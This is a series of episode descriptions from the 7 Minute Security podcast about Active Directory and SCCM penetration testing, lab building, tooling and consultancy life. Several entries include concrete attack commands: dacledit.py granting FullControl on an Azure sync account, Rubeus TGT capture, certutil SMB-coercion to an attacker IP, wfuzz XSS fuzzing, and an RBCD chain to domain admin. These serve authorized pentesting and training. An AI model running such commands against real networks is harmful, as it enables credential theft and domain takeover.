7 Minute Security

Today's a fun tale of pentest pwnage where we leveraged a WinRM service ticket in combination with the shadow credentials attack, then connected to an important system using evil-winrm and make our getaway with some privileged Kerberos TGTs! I also share an (intentionally) vague story about a personal struggle I could use your thoughts/prayers/vibes with.

Hello! This week Joe "The Machine" Skeen and I kicked off a series all about pentesting GOAD (Game of Active Directory). In part one we covered: Checking for null session enumeration on domain controllers Enumerating systems with and without SMB signing Scraping AD user account descriptions Capturing hashes using Responder Cracking hashes with Hashcat

Hi friends, today I'm kicking off a series talking about the good/bad/ugly of hosting security services. Today I talk specifically about transfer.zip. By self-hosting your own instance of transfer.zip, you can send and receive HUGE files that are end-to-end encrypted using WebRTC. Sweet! I also supplemented today's episode with a short live video over at 7MinSec.club.

Hi friends, in this edition of what I'm working on this week: 3 pulse-pounding pentests that had…problems Something I'm calling the unshadow/reshadow credentials attack Heads-up on a new video experiment I'm going to try next week

Hola friends! Today's tale of pentest pwnage talks about abusing Exchange and the Azure ADSync account! Links to the discussed things: adconnectdump – for all your ADSync account dumping needs! Adam Chester PowerShell script to dump MSOL service account dacledit.py (part of Impacket) to give myself full write privileges on the MSOL sync account: dacledit.py -action 'write' -rights 'FullControl' -principal lowpriv -target MSOL-SYNC-ACCOUNT -dc-ip 1.2.3.4 domain.com/EXCHANGEBOX$ -k -no-pass Looking to tighten up your Exchange permissions – check out this crazy detailed post

Hey friends, our good buddy Joe "The Machine" Skeen and I are back this week with part 2 (check out part 1!) tackling GOAD SCCM again! Spoiler alert: this time we get DA! YAY! Definitely check out these handy SCCM resources to help you – whether it be in the lab or IRL (in real life): GOAD SCCM walkthrough MisconfigurationManager – tremendous resource for enumerating/attacking/privesc-ing within SCCM This gist from Adam Chester will help you decrypt SCCM creds stored in SQL

Today we have a smattering of miscellaneous pentest tips to help you pwn all the stuff! Selective Snaffling with Snaffler The importance of having plenty of dropbox disk space – for redundant remote connectivity and PXE abuse! TGTs can be fun for SMB riffling, targeted Snaffling, netexec-ing and Evil-WinRMing!

Hello there friends, I'm doing another "what I'm working on this week" episode which includes: BPATTY v1.6 release – big/cool/new content to share here PWPUSH – this looks to be an awesome way (both paid and free) to securely share files and passwords

In today's episode I talk about what I'm working on this week, including: Playing with Sliver C2 and pairing it with ShellcodePack Talking about Netexecer, my upcoming tool that helps automate some of the early/boring stuff in an internal pentest A gotcha to watch out for if utilizing netexec's MSSQL upload/download functionality

Today we live-hack an SCCM server via GOAD SCCM using some attack guidance from Misconfiguration Manager! Attacks include: Unauthenticated PXE attack PXE (with password) attack Relaying the machine account of the MECM box over to the SQL server to get local admin

Hi friends, today we're talking about pentesting potatoes (not really, but this episode is sort of a homage to episode 333 where I went to Boise to do a controls assessment and ended up doing an impromptu physical pentest and social engineer exercise). I talk about what a blast I'm having hunting APTs in XINTRA LABS, and two cool tools I'm building with the help of Cursor: A wrapper for Netexec that quickly finds roastable users, machines without SMB signing, clients running Webclient and more. A sifter of Snaffler-captured files to zero in even closer on interesting things such as usernames and passwords in clear text.

Today we continue our journey from last week where we spun up a Hetzner cloud server and Ludus.cloud SCCM pentesting range! Topics include: Building a Proxmox Backup Server (this YouTube video was super helpful) Bridging a second WAN IP to the Hetzner/Ludus server Wrestling with the Hetzner (10-rule limit!) software firewall When attacking SCCM – you can get a version of pxethief that runs in Linux!

I had an absolute ball this week spinning up my first Hetzner server, though it was not without some drama (firewall config frustrations and failing hard drives). Once I got past that, though, I got my first taste of the amazing world of Ludus.cloud, where I spun up a vulnerable Microsoft SCCM lab and have started to pwn it. Can't say enough good things about Ludus.cloud, but I certainly tried in this episode!

Today I'm excited about some tools/automation I've been working on to help shore up the 7MinSec security program, including: Using Retype as a document repository Leveraging the Nessus API to automate the downloading/correlating of scan data Monitoring markdown files for "last update" changes using a basic Python script

Hey friends, today we cover: The shiny new 7MinSec Club BPATTY updates A talk-through of the WPA3 downgrade attack, complemented by the YouTube livestream

Hello friends! Today we're talking about a neat and quick-to-setup documentation service called Retype. In a nutshell, you can get Retype installed on GitHub pages in about 5 minutes and be writing beautiful markdown pages (with built-in search) immediately. I still absolutely love Docusaurus, but I think Retype definitely gives it a run for its money.

Happy new year friends! Today we talk about business/personal resolutions, including: New year's resolution on the 7MinSec biz side to have a better work/life balance New training offering in the works Considering Substack as a communications platform A mental health booster that I came across mostly by accident

Today we're doing a milkshake of several topics: wireless pentest pwnage, automating the boring pentest stuff with cursor.ai, and some closing business thoughts at 7MinSec celebrates its 7th year as a security consultancy. Links discussed today: AWUS036ACH wifi card (not my favorite anymore) Panda PAU09 N600 (love this one!) The very important Github issue that helped me better understand BPFs and WPA3 attacks TrustedSec article on WPA3 downgrade attacks

Today we've got some super cool stuff to cover today! First up, BPATTY v1.4 is out and has a slug of cool things: A whole new section on old-school wifi tools like airmon-ng, aireplay-ng and airodump-ng Syntax on using two different tools to parse creds from Dehashed An updated tutorial on using Gophish for phishing campaigns The cocoa-flavored cherry on top is a tale of pentest pwnage that includes: Abusing SCCM Finding gold in SQL configuration/security audits

Hey friends, today we're talking about tips to effectively present your technical assessment to a variety of audiences – from lovely IT and security nerds to C-levels, the board and beyond!

Today's episode talks about some things that helped me get through a stressful and hospital-visit-filled Thanksgiving week, including: Journaling Meditation (An activity I'm ashamed of but has actually done wonders for my mental health)

Hey friends, we've got a short but sweet tale of pentest pwnage for you today. Key lessons learned: Definitely consider BallisKit for your EDR-evasion needs If you get local admin to a box, enumerate, enumerate, enumerate! There might be a delicious task or service set to run as a domain admin that can quickly escalate your privileges!

Oooooo, giggidy! Today is (once again) my favorite tale of pentest pwnage. I learned about a feature of PowerUpSQL that helped me find a "hidden" SQL account, and that account ended up being the key to the entire pentest! I wonder how many hidden SQL accounts I've missed on past pentests….SIGH! Check out the awesome BloodHound gang thread about this here. Also, can't get Rubeus monitor mode to capture TGTs to the registry? Try output to file instead: rubeus monitor /interval:5 /nowrap /runfor:60 /consoleoutfile:c:\users\public\some-innocent-looking-file.log In the tangent department, I talk about a personal music project I'm resurrecting to help my community.

Today we take a look at a zero-trust / ditch-your-VPN solution called Twingate (not a sponsor but we'd like them to be)! It also doubles nicely as a primary or backup connection for your DIY pentest dropboxes which we've talked about quite a bit here. In other news, we've moved from Teachable to Coursestack, so if you've bought training/ebooks with us before, you should've received some emails from us last Friday and can access our new training portal here. (If you THINK you should've received enrollment emails from CourseStack and didn't, drop us a line here.) In the tangent portion of our program, I give a health update on my mom and dad, and talk about some resources I'm exploring to reduce stress and anxiety after what has been a tough week for many of us.

Hey friends, today I'm sharing my first (and non-sponsored) impressions of Level.io, a cool tool for managing Windows, Mac and Linux endpoints. It fits a nice little niche in our pentest dropbox deployments, it has an attractive price point and their support is fantastic.

Today we're talkin' business – specifically how to make your report delivery meetings calm, cool and collect (both for you and the client!).

Hey friends, today I'm putting my blue hat on and dipping my toes in incident response by way of playing with Velociraptor, a very cool (and free!) tool to find evil in your environment. Perhaps even better than the price tag, Velociraptor runs as a single binary you can deploy to spin up a server and then request endpoints to "phone home" to you by way of GPO scheduled task. The things I talk about in this episode and show in the YouTube stream are all based off of this awesome presentation from Eric Capuano, who also was kind enough to publish a handout to accompany the presentation. And on a personal note, I wanted to share that Velociraptor has got me interested in jumping face first into some tough APT labs provided by XINTRA. More to come on XINTRA's offering, but so far I'm very impressed!

Today I do a short travelogue about my trip to Washington, geek out about some cool training I did with Velociraptor, ponder drowning myself in blue team knowledge with XINTRA LABS, and share some thoughts about the conference talk I gave called 7 Ways to Panic a Pentester.

Hey! I'm speaking in Wanatchee, Washington next week at the NCESD conference about 7 ways to panic a pentester! Today's tale of pentest pwnage is a great reminder to enumerate, enumerate, enumerate! It also emphases that cracking NETLM/NETNTLMv1 isn't super easy to remember the steps for (at least for me) but this crack.sh article makes it a bit easier!

Today we continue where we left off in episode 641, but this time talking about how to automatically deploy and install a Ubuntu-based dropbox! I also share some love for exegol as an all-in-one Active Directory pentesting platform.

Ron Cole of Immersive Labs joins us to talk pentest war stories, essential skills he learned while serving on a SOC, and the various pentest training and range platforms you can use to sharpen your security skills! Here are the links Ron shared during our discussion: VetSec Fortinet Veterans Program Immersive Labs Cyber Million FedVTE

Today we're revisiting the fun world of automating pentest dropboxes using Proxmox, Ansible, Cursor and Level. Plus, a tease about how all this talk about automation is getting us excited for a long-term project: creating a free/community edition of Light Pentest LITE training!

This was my favorite pentest tale of pwnage to date! There's a lot to cover in this episode so I'm going to try and bullet out the TLDR version here: Sprinkled farmer files around the environment Found high-priv boxes with WebClient enabled Added "ghost" machine to the Active Directory (we'll call it GHOSTY) RBCD attack to be able to impersonate a domain admin using the CIFS/SMB service against the victim system where some higher-priv users were sitting Use net.py to add myself to local admin on the victim host Find a vulnerable service to hijack and have run an evil, TGT-gathering Rubeus.exe – found that Credential Guard was cramping my style! Pulled the TGT from a host not protected with Credential Guard Figured out the stolen user's account has some "write" privileges to a domain controller Use rbcd.py to delegate from GHOSTY and to the domain controller Request a TGT for GHOSTY Use getST.py to impersonate CIFS using a domain admin account on the domain controller (important thing here was to specify the DC by its FQDN, not just hostname) Final move: use the domain admin ccache file to leverage net.py and add myself to the Active Directory Administrators group

Today's tale of pentest pwnage talks about the dark powers of the net.py script from impacket.

Today we're talking pentesting – specifically some mini gems that can help you escalate local/domain/SQL privileges: Check the C: drive! If you get local admin and the system itself looks boring, check root of C – might have some interesting scripts or folders with tools that have creds in them. Also look at Look at Get-ScheduledTasks Find ids and passwords easily in Snaffler output with this Snaffler cleaner script There's a ton of gold to (potentially) be found in SQL servers – check out my notes on using PowerUpSQL to find misconfigs and agent jobs you might able to abuse!

Hello friends, I'm excited to release BPATTY[RELOADED] into the world at https://bpatty.rocks! – which stands for Brian's Pentesting and Technical Tips for You! It's a knowledge base of IT and security bits that help me do a better job doing security stuff! Today I do an ACTUAL 7-minute episode (GASP…what a concept!) covering my favorite bits on the site so far. Enjoy!

Artificial hype alert! I'm working on a NEW version of BPATTY (Brian's Pentesting and Technical Tips for You), but it is delayed because of a weird domain name hostage negotiation situation. It's weird. But in the meantime I want to talk about the project (which is a pentest documentation library built on Docusaurus) and how I think it will be bigger/better/stronger/faster/cooler than BPATTY v1 (which is now in archive/read-only mode).

Today we're talking about eating the security dog food – specifically: Satisfying critical security control #1 Using the Atlassian family of tools to create a ticketing/change control system and wrap it into an asset inventory Leveraging Wazuh as a security monitoring system (with eventual plans to leverage its API to feed Atlassian inventory data)

Hi, today's tale of pentest pwnage covers a few wins and one loss: A cool opportunity to drop Farmer "crops" to a domain admin's desktop folder via PowerShell remote session Finding super sensitive data by dumpster-diving into a stale C:\Users\Domain-Admin profile Finding a vCenter database backup and being unable to pwn it using vcenter_saml_login

Hey friends, we're doing a little departure from our normal topics and focusing on how to create a security knowledgebase (is that one word or two?) using Docusaurus! It's cool, it's free, it's from Meta and you can get up and going in just a few commands – check out their getting started guide to get rockin' in about 5 minutes. Important files include: docusaurus.config.js – for setting the site title and key config settings sidebars.js – used to create/edit navigation bar menus /src/css/custom.css – to style the site

Today's tale of pentest pwnage includes some fun stuff, including: SharpGPOAbuse helps abuse vulnerable GPOs! Try submitting a harmless POC first via a scheduled task – like ping -n 1 your.kali.ip.address. When you're ready to fire off a task that coerces SMB auth, try certutil -syncwithWU \\your.kali.ip.address\arbitrary-folder. I'm not 100% sure on this, but I think scheduled tasks capture Kerberos tickets temporarily to workstation(s). If you're on a compromised machine, try Get-ScheduledTask -taskname "name" | select * to get information about what context the attack is running under. DonPAPI got an upgrade recently with a focus on evasion! When attacking vCenter (see our past YouTube stream for a walkthrough), make sure you've got the vmss2core utility, which I couldn't find anywhere except the Internet Archive. Then I really like to follow this article to pull passwords from VM memory dumps. Can't RDP into a victim system that you're PSRemote'd into? Maybe RDP is listening on an alternate port! Try Get-ItemProperty -path "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | select-object portnumber` And if you want to hang around until the very end, you can hear me brag about my oldest son who just became an EMT!

Hi friends, today's a tale full of test tips and tools to help you in your adventures in pentesting! SCCM Exploitation SCCM Exploitation: The First Cred Is the Deepest II w/ Gabriel Prud'homme – fantastic resource for learning all about attacking SCCM – starting from a perspective of zero creds CMLoot – find interesting files stored on (System Center) Configuration Manager (SCCM/CM) SMB shares Snaffler – finds all the interesting SMB shares and juicy file contents Efflanrs – takes the raw Snaffler log and turns it into an interactive Web app! RubeusToCcache – a small tool to convert Base64-encoded .kirbi tickets from Rubeus into .ccache files for Impacket

Today I recap a two week persona/biz road trip and talk about the security stuff that got sprinkled into it, including: Family members who don't care about their personal security Weakpass – a cool collection of word lists for brute-forcing and spraying that I'd never heard of Working on two security Webinars for Netwrix (here's part 1: Mastering Password Security & Active Directory Monitoring, and and part 2: Advanced Strategies for SQL Server Protection & Sensitive Information Security) The moment we though our credit card was stolen at a waterpark A shameless plug for our fun interview with Stu the recruiter Some internal pentest tips that have given us some gold in recent assessments Super fast, spoiler-free movie reviews of Roadhouse, Arcadian, Late Night with the Devil and The Coffee Table

Today we have a fun featured interview with my new friend Stu Musil of Ambient Consulting I had a great time talking with Stu about bashing come common misconceptions people have about working with recruiters, plus tackling some frequently asked questions: How do you properly vet a recruiter you don't know, but who offers a job opportunity you're interested in? What questions should you ask a potential recruiter to get a feel for their level of experience in the industry (hint, if a recruiter doesn't even have a LinkedIn page, that's probably a red flag) Resume tips: Finding the right length and tone Tailoring your resume for each individual job Highlighting your strengths Do people still use cover letters when applying to a gig? Is a "hobbies and interests" section still a good idea on a resume (to show them you're not a robot who works 24/7)? Lets talk about some horror and/or success stories from the world of recruiting!

Hey friends, today we talk about some not-so-glamorous but ever-so-important stuff related to running a cybersecurity consultancy, including: Taking an inventory of all the SaaS stuff your business uses – to keep an eye on spending, know when services are expiring, and track which credit card the services are tied to (so the services don't almost get cancelled like some did with me!) Tracking domain names, and setting up your own automated rules to notify you well ahead of time when a domain is expiring (maybe that passion project is never gonna happen…time to let those old domains go 🙂 Making a spreadsheet of all important accounts and checking all the auth methods allowed for each account – to prevent attacks such as SIM-swapping

Hey friends, today we continue our series all about migrating from VMWare to the world Proxmox! Specifically: Getting my first Proxmox-based NUCs out in the field for live engagements! Pulling the trigger on two bare-metal Proxmox servers to eventually replace my vCenter environment. OVHCloud made it super easy to to add Proxmox to those bare-metals with a simple wizard. I couldn't figure out how to get a Proxmox VM as the main firewall for the whole Proxmox node, but it turns out it helps to RTFM. When getting a bare-metal OS/hypervisor installed, be careful in that the provider may leave the management ports of that host open to the whole world. In OVH's case, they have a software firewall that can be tuned so that, for example, only you can hit the management ports for the box. Getting VLANs setup is a snap once the virtual hardware stuff is in place.

Hey friends, today we've got a security milkshake episode about Web app pentesting. Specifically we talk about: Burp Suite Enterprise Caido – a lightweight alternative to Burp wfuzz – Web fuzzer. Using a proxy:wfuzz -c -z file,/usr/share/wfuzz/wordlist/Injections/XSS.txt –sc 200 "https://somedomain.com/shopping?&qty=%2FUZZ" -p 10.0.7.11:8080 KNOXSS – for XSS testing – pairs nicely with this wrapper: https://github.com/xnl-h4ck3r/knoxnl In the tangent dept, I moan about how I hate some things about Proxmox but am also starting to love it. In the tangent #2 department, I talk about tinnitus and acupuncture!

Road trip time! I've been traveling this week doing some fun security projects, and thought all this highway time would be a perfect opportunity to take a dip into the 7MS mail bag! Today's questions include: How do you price internal network penetration tests? Have you ever had to deal with a difficult client situation, and how did you resolve it? Are you done going after certs? Spoiler: no – I'm interested in doing the XINTRA labs (not sure if it includes a cert) Do you provide managed services or just stick with more "one and done" assessment work? You said the "smart business people" tell you to form reseller partnerships, otherwise you're leaving money on the table – so why don't you? I'm thinking of starting my own cybersecurity consultancy – what type of insurance do I need to protect me in case of a digital "oops?"

Today's tale of pentest pwnage is all about my new favorite attack called SPN-less RBCD. We did a teaser episode last week that actually ended up being a full episode all about the attack, and even step by step commands to pull it off. But I didn't want today's episode to just be "Hey friends, check out the YouTube version of this attack!" so I also cover: Our first first impressions of Burp Enterprise Why I have a real hard time believing you have to follow all these steps to install Kali on Proxmox

Today's prelude to a tale of pentest pwnage talks about something called "spnless RBCD" (resource-based constrained delegation). The show notes don't format well here in the podcast notes, so head to 7minsec.com to see the notes in all their glory.
